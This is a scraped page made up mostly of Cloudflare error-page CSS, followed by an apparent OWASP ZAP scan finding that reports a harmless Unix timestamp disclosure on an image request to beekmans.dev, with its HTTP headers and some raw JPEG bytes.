.cf-btn.active,#cf-wrapper .cf-btn:active{background-color:#bfbfbf;border:1px solid #404040;color:#272727}#cf-wrapper .cf-btn::-moz-focus-inner{padding:0;border:0}#cf-wrapper .cf-btn .cf-caret{border-top-color:currentColor;margin-left:.25em;margin-top:.18333em}#cf-wrapper .cf-btn-primary{background-color:#2f7bbf;border:1px solid transparent;color:#fff}#cf-wrapper .cf-btn-primary:hover{background-color:#62a1d8;border:1px solid #2f7bbf;color:#fff}#cf-wrapper .cf-btn-primary.active,#cf-wrapper .cf-btn-primary:active,#cf-wrapper .cf-btn-primary:focus{background-color:#62a1d8;border:1px solid #163959;color:#fff}#cf-wrapper .cf-btn-danger,#cf-wrapper .cf-btn-error,#cf-wrapper .cf-btn-important{background-color:#bd2426;border-color:transparent;color:#fff}#cf-wrapper .cf-btn-danger:hover,#cf-wrapper .cf-btn-error:hover,#cf-wrapper .cf-btn-important:hover{background-color:#de5052;border-color:#bd2426;color:#fff}#cf-wrapper .cf-btn-danger.active,#cf-wrapper .cf-btn-danger:active,#cf-wrapper .cf-btn-danger:focus,#cf-wrapper .cf-btn-error.active,#cf-wrapper .cf-btn-error:active,#cf-wrapper .cf-btn-error:focus,#cf-wrapper .cf-btn-important.active,#cf-wrapper .cf-btn-important:active,#cf-wrapper .cf-btn-important:focus{background-color:#de5052;border-color:#521010;color:#fff}#cf-wrapper .cf-btn-accept,#cf-wrapper .cf-btn-success{background-color:#9bca3e;border:1px solid transparent;color:#fff}#cf-wrapper .cf-btn-accept:hover,#cf-wrapper .cf-btn-success:hover{background-color:#bada7a;border:1px solid #9bca3e;color:#fff}#cf-wrapper .active.cf-btn-accept,#cf-wrapper .cf-btn-accept:active,#cf-wrapper .cf-btn-accept:focus,#cf-wrapper .cf-btn-success.active,#cf-wrapper .cf-btn-success:active,#cf-wrapper .cf-btn-success:focus{background-color:#bada7a;border:1px solid #516b1d;color:#fff}#cf-wrapper .cf-btn-accept{color:transparent;font-size:0;height:36.38px;overflow:hidden;position:relative;text-indent:0;width:36.38px;white-space:nowrap}#cf-wrapper input,#cf-wrapper select,#cf-wrapper textarea{background:#fff!important;border:1px solid #999!important;color:#404040!important;font-size:.86667em!important;line-height:1.24!important;margin:0 0 1em!important;max-width:100%!important;outline:0!important;padding:.45em .75em!important;vertical-align:middle!important;display:-moz-inline-stack;display:inline-block;zoom:1;box-sizing:border-box;-webkit-transition:all .2s ease;transition:all .2s ease;border-radius:2px}#cf-wrapper input:hover,#cf-wrapper select:hover,#cf-wrapper textarea:hover{border-color:gray}#cf-wrapper input:focus,#cf-wrapper select:focus,#cf-wrapper textarea:focus{border-color:#2f7bbf;outline:0;box-shadow:0 0 8px rgba(47,123,191,.5)}#cf-wrapper fieldset{width:100%}#cf-wrapper label{display:block;font-size:13px;margin-bottom:.38333em}#cf-wrapper .cf-form-stacked .select2-container,#cf-wrapper .cf-form-stacked input,#cf-wrapper .cf-form-stacked select,#cf-wrapper .cf-form-stacked textarea{display:block;width:100%}#cf-wrapper .cf-form-stacked input[type=button],#cf-wrapper .cf-form-stacked input[type=checkbox],#cf-wrapper .cf-form-stacked input[type=submit]{display:-moz-inline-stack;display:inline-block;vertical-align:middle;zoom:1;width:auto}#cf-wrapper .cf-form-actions{text-align:right}#cf-wrapper .cf-alert{background-color:#f9b169;border:1px solid #904b06;color:#404040;font-size:13px;padding:7.5px 15px;position:relative;vertical-align:middle;border-radius:2px}#cf-wrapper .cf-alert:empty{display:none}#cf-wrapper .cf-alert .cf-close{border:1px solid transparent;color:inherit;font-size:18.75px;line-height:1;padding:0;position:relative;right:-18.75px;top:0}#cf-wrapper .cf-alert .cf-close:hover{background-color:transparent;border-color:currentColor;color:inherit}#cf-wrapper .cf-alert-danger,#cf-wrapper .cf-alert-error{background-color:#de5052;border-color:#521010;color:#fff}#cf-wrapper .cf-alert-success{background-color:#bada7a;border-color:#516b1d;color:#516b1d}#cf-wrapper .cf-alert-warning{background-color:#f9b169;border-color:#904b06;color:#404040}#cf-wrapper .cf-alert-info{background-color:#62a1d8;border-color:#163959;color:#163959}#cf-wrapper .cf-alert-nonessential{background-color:#ebebeb;border-color:#999;color:#404040}#cf-wrapper .cf-icon-exclamation-sign{background:url(/cdn-cgi/images/icon-exclamation.png?1376755637) 50% no-repeat;height:54px;width:54px;display:-moz-inline-stack;display:inline-block;vertical-align:middle;zoom:1}#cf-wrapper h1 .cf-icon-exclamation-sign{margin-top:-10px}#cf-wrapper #cf-error-banner{background-color:#fff;border-bottom:3px solid #f68b1f;padding:15px 15px 20px;position:relative;z-index:999999999;box-shadow:0 2px 8px rgba(0,0,0,.2)}#cf-wrapper #cf-error-banner h4,#cf-wrapper #cf-error-banner p{display:-moz-inline-stack;display:inline-block;vertical-align:bottom;zoom:1}#cf-wrapper #cf-error-banner h4{color:#2f7bbf;font-weight:400;font-size:20px;line-height:1;vertical-align:baseline}#cf-wrapper #cf-error-banner .cf-error-actions{margin-bottom:10px;text-align:center;width:100%}#cf-wrapper #cf-error-banner .cf-error-actions a{display:-moz-inline-stack;display:inline-block;vertical-align:middle;zoom:1}#cf-wrapper #cf-error-banner .cf-error-actions a+a{margin-left:10px}#cf-wrapper #cf-error-banner .cf-error-actions .cf-btn-accept,#cf-wrapper #cf-error-banner .cf-error-actions .cf-btn-success{color:#fff}#cf-wrapper #cf-error-banner .error-header-desc{text-align:left}#cf-wrapper #cf-error-banner .cf-close{color:#999;cursor:pointer;display:inline-block;font-size:34.5px;float:none;font-weight:700;height:22.5px;line-height:.6;overflow:hidden;position:absolute;right:20px;top:25px;text-indent:200%;width:22.5px}#cf-wrapper #cf-error-banner .cf-close:hover{color:gray}#cf-wrapper #cf-error-banner .cf-close:before{content:"\00D7";left:0;height:100%;position:absolute;text-align:center;text-indent:0;top:0;width:100%}#cf-inline-error-wrapper{box-shadow:0 2px 10px rgba(0,0,0,.5)}#cf-wrapper #cf-error-details{background:#fff}#cf-wrapper #cf-error-details .cf-error-overview{padding:25px 0 0}#cf-wrapper #cf-error-details .cf-error-overview h1,#cf-wrapper #cf-error-details .cf-error-overview h2{font-weight:300}#cf-wrapper #cf-error-details .cf-error-overview h2{margin-top:0}#cf-wrapper #cf-error-details .cf-highlight{background:#ebebeb;overflow-x:hidden;padding:30px 0;background-image:-webkit-gradient(linear,left top, left bottom,from(#dedede),color-stop(3%, #ebebeb),color-stop(97%, #ebebeb),to(#dedede));background-image:linear-gradient(top,#dedede,#ebebeb 3%,#ebebeb 97%,#dedede)}#cf-wrapper #cf-error-details .cf-highlight h3{color:#999;font-weight:300}#cf-wrapper #cf-error-details .cf-highlight .cf-column:last-child{padding-bottom:0}#cf-wrapper #cf-error-details .cf-highlight .cf-highlight-inverse{background-color:#fff;padding:15px;border-radius:2px}#cf-wrapper #cf-error-details .cf-status-display h3{margin-top:.5em}#cf-wrapper #cf-error-details .cf-status-label{color:#9bca3e;font-size:1.46667em}#cf-wrapper #cf-error-details .cf-status-label,#cf-wrapper #cf-error-details .cf-status-name{display:inline}#cf-wrapper #cf-error-details .cf-status-item{display:block;position:relative;text-align:left}#cf-wrapper #cf-error-details .cf-status-item,#cf-wrapper #cf-error-details .cf-status-item.cf-column{padding-bottom:1.5em}#cf-wrapper #cf-error-details .cf-status-item.cf-error-source{display:block;text-align:center}#cf-wrapper #cf-error-details .cf-status-item.cf-error-source:after{bottom:-60px;content:"";display:none;border-bottom:18px solid #fff;border-left:20px solid transparent;border-right:20px solid transparent;height:0;left:50%;margin-left:-9px;position:absolute;right:50%;width:0}#cf-wrapper #cf-error-details .cf-status-item+.cf-status-item{border-top:1px solid #dedede;padding-top:1.5em}#cf-wrapper #cf-error-details .cf-status-item+.cf-status-item:before{background:url(/cdn-cgi/images/cf-icon-horizontal-arrow.png) no-repeat;content:"";display:block;left:0;position:absolute;top:25.67px}#cf-wrapper #cf-error-details .cf-error-source .cf-icon-error-container{height:85px;margin-bottom:2.5em}#cf-wrapper #cf-error-details .cf-error-source .cf-status-label{color:#bd2426}#cf-wrapper #cf-error-details .cf-error-source .cf-icon{display:block}#cf-wrapper #cf-error-details .cf-error-source .cf-icon-status{bottom:-10px;left:50%;top:auto;right:auto}#cf-wrapper #cf-error-details .cf-error-source .cf-status-label,#cf-wrapper #cf-error-details .cf-error-source .cf-status-name{display:block}#cf-wrapper #cf-error-details .cf-icon-error-container{height:auto;position:relative}#cf-wrapper #cf-error-details .cf-icon-status{display:block;margin-left:-24px;position:absolute;top:0;right:0}#cf-wrapper #cf-error-details .cf-icon{display:none;margin:0 auto}#cf-wrapper #cf-error-details .cf-status-desc{display:block;height:22.5px;overflow:hidden;text-overflow:ellipsis;width:100%;white-space:nowrap}#cf-wrapper #cf-error-details .cf-status-desc:empty{display:none}#cf-wrapper #cf-error-details .cf-error-footer{padding:1.33333em 0;border-top:1px solid #ebebeb;text-align:center}#cf-wrapper #cf-error-details .cf-error-footer p{font-size:13px}#cf-wrapper #cf-error-details .cf-error-footer select{margin:0!important}#cf-wrapper #cf-error-details .cf-footer-item{display:block;margin-bottom:5px;text-align:left}#cf-wrapper #cf-error-details .cf-footer-separator{display:none}#cf-wrapper #cf-error-details .cf-captcha-info{margin-bottom:10px;position:relative;text-align:center}#cf-wrapper #cf-error-details .cf-captcha-image{height:57px;width:300px}#cf-wrapper #cf-error-details .cf-captcha-actions{margin-top:15px}#cf-wrapper #cf-error-details .cf-captcha-actions a{font-size:0;height:36.38px;overflow:hidden;padding-left:1.2em;padding-right:1.2em;position:relative;text-indent:-9999px;width:36.38px;white-space:nowrap}#cf-wrapper #cf-error-details .cf-captcha-actions a.cf-icon-refresh span{background-position:0 -787px}#cf-wrapper #cf-error-details .cf-captcha-actions a.cf-icon-announce span{background-position:0 -767px}#cf-wrapper #cf-error-details .cf-captcha-actions a.cf-icon-question span{background-position:0 -827px}#cf-wrapper #cf-error-details .cf-screenshot-container{background:url(/cdn-cgi/images/browser-bar.png?1376755637) no-repeat #fff;max-height:400px;max-width:100%;overflow:hidden;padding-top:53px;width:960px;border-radius:5px 5px 0 0}#cf-wrapper #cf-error-details .cf-screenshot-container .cf-no-screenshot{background:url(/cdn-cgi/images/cf-no-screenshot-warn.png) no-repeat;display:block;height:158px;left:25%;margin-top:-79px;overflow:hidden;position:relative;top:50%;width:178px}#cf-wrapper #cf-error-details .cf-captcha-container .cf-screenshot-container,#cf-wrapper #cf-error-details .cf-captcha-container .cf-screenshot-container img,#recaptcha-widget .cf-alert,#recaptcha-widget .recaptcha_only_if_audio,.cf-cookie-error{display:none}#cf-wrapper #cf-error-details .cf-screenshot-container .cf-no-screenshot.error{background:url(/cdn-cgi/images/cf-no-screenshot-error.png) no-repeat;height:175px}#cf-wrapper #cf-error-details .cf-screenshot-container.cf-screenshot-full .cf-no-screenshot{left:50%;margin-left:-89px}.cf-captcha-info iframe{max-width:100%}#cf-wrapper .cf-icon-ok{background:url(/cdn-cgi/images/cf-icon-ok.png) no-repeat;height:48px;width:48px}#cf-wrapper .cf-icon-error{background:url(/cdn-cgi/images/cf-icon-error.png) no-repeat;height:48px;width:48px}#cf-wrapper .cf-icon-browser{background:url(/cdn-cgi/images/cf-icon-browser.png) no-repeat;height:80px;width:100px}#cf-wrapper .cf-icon-cloud{background:url(/cdn-cgi/images/cf-icon-cloud.png) no-repeat;height:77px;width:151px}#cf-wrapper .cf-icon-server{background:url(/cdn-cgi/images/cf-icon-server.png) no-repeat;height:75px;width:95px}#cf-wrapper .cf-icon-railgun{background-position:0 -848px;height:81px;width:95px}#cf-wrapper .cf-caret{border:.33333em solid transparent;border-top-color:inherit;content:"";height:0;width:0;display:-moz-inline-stack;display:inline-block;vertical-align:middle;zoom:1}@media screen and (min-width:49.2em){#cf-wrapper #cf-error-details .cf-status-desc:empty,#cf-wrapper #cf-error-details .cf-status-item.cf-error-source:after,#cf-wrapper #cf-error-details .cf-status-item .cf-icon,#cf-wrapper #cf-error-details .cf-status-label,#cf-wrapper #cf-error-details .cf-status-name{display:block}#cf-wrapper .cf-wrapper{width:708px}#cf-wrapper #cf-error-banner{padding:20px 20px 25px}#cf-wrapper #cf-error-banner .cf-error-actions{margin-bottom:15px}#cf-wrapper #cf-error-banner .cf-error-header-desc h4{margin-right:.5em}#cf-wrapper #cf-error-details h1{font-size:4em}#cf-wrapper #cf-error-details .cf-error-overview{padding-top:2.33333em}#cf-wrapper #cf-error-details .cf-highlight{padding:4em 0}#cf-wrapper #cf-error-details .cf-status-item{text-align:center}#cf-wrapper #cf-error-details .cf-status-item,#cf-wrapper #cf-error-details .cf-status-item.cf-column{padding-bottom:0}#cf-wrapper #cf-error-details .cf-status-item+.cf-status-item{border:0;padding-top:0}#cf-wrapper #cf-error-details .cf-status-item+.cf-status-item:before{background-position:0 -544px;height:24.75px;margin-left:-37.5px;width:75px;background-size:131.25px auto}#cf-wrapper #cf-error-details .cf-icon-error-container{height:85px;margin-bottom:2.5em}#cf-wrapper #cf-error-details .cf-icon-status{bottom:-10px;left:50%;top:auto;right:auto}#cf-wrapper #cf-error-details .cf-error-footer{padding:2.66667em 0}#cf-wrapper #cf-error-details .cf-footer-item,#cf-wrapper #cf-error-details .cf-footer-separator{display:-moz-inline-stack;display:inline-block;vertical-align:baseline;zoom:1}#cf-wrapper #cf-error-details .cf-footer-separator{padding:0 .25em}#cf-wrapper #cf-error-details .cf-status-item.cloudflare-status:before{margin-left:-50px}#cf-wrapper #cf-error-details .cf-status-item.cloudflare-status+.status-item:before{margin-left:-25px}#cf-wrapper #cf-error-details .cf-screenshot-container{height:400px;margin-bottom:-4em;max-width:none}#cf-wrapper #cf-error-details .cf-captcha-container .cf-screenshot-container,#cf-wrapper #cf-error-details .cf-captcha-container .cf-screenshot-container img{display:block}}@media screen and (min-width:66em){#cf-wrapper .cf-wrapper{width:960px}#cf-wrapper #cf-error-banner .cf-close{position:relative;right:auto;top:auto}#cf-wrapper #cf-error-banner .cf-details{white-space:nowrap}#cf-wrapper #cf-error-banner .cf-details-link{padding-right:.5em}#cf-wrapper #cf-error-banner .cf-error-actions{float:right;margin-bottom:0;text-align:left;width:auto}#cf-wrapper #cf-error-details .cf-status-item+.cf-status-item:before{background-position:0 -734px;height:33px;margin-left:-50px;width:100px;background-size:auto}#cf-wrapper #cf-error-details .cf-status-item.cf-cloudflare-status:before{margin-left:-66.67px}#cf-wrapper #cf-error-details .cf-status-item.cf-cloudflare-status+.cf-status-item:before{margin-left:-37.5px}#cf-wrapper #cf-error-details .cf-captcha-image{float:left}#cf-wrapper #cf-error-details .cf-captcha-actions{position:absolute;top:0;right:0}}.no-js #cf-wrapper .js-only{display:none}#cf-wrapper #cf-error-details .heading-ray-id{font-family:monaco,courier,monospace;font-size:15px;white-space:nowrap}Evidence 999999999Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/img/portfolio/minor/blue/36-thumbnail.jpg
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 134348800, which evaluates to: 1974-04-05 00:06:40
Request Request line and header section (265 bytes)
GET https://beekmans.dev/img/portfolio/minor/blue/36-thumbnail.jpg HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1158 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:56:08 GMT Content-Type: image/jpeg Content-Length: 64833 Connection: keep-alive last-modified: Tue, 02 Nov 2021 10:18:04 GMT etag: "fd41-5cfcb9beafa60" content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1099 Accept-Ranges: bytes Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5huJF4cliNws1kNbVWT700RS%2B9LaiJ%2BMV5CuLOj75IUvrFH9Hr56jt0hnpGur5D3UUbJTgQDAjB937Lrl8lcOCFvqMCBhlaE44ehvtb3AQ3Dmsn2xi0BBywZD9W8yHQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a47eb8004c43-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (64833 bytes)
ÿØÿà JFIF ` ` ÿá ÓExif II* í I Ú à n t ( 1 2 i ¦ ² V 4 hacker in a jacket with a hood with a laptop sits at the table. Added identity theft icons, account hijacking, bank data theft and world map. Canon Canon EOS 700D ÀÆ- '
-
-
ZAP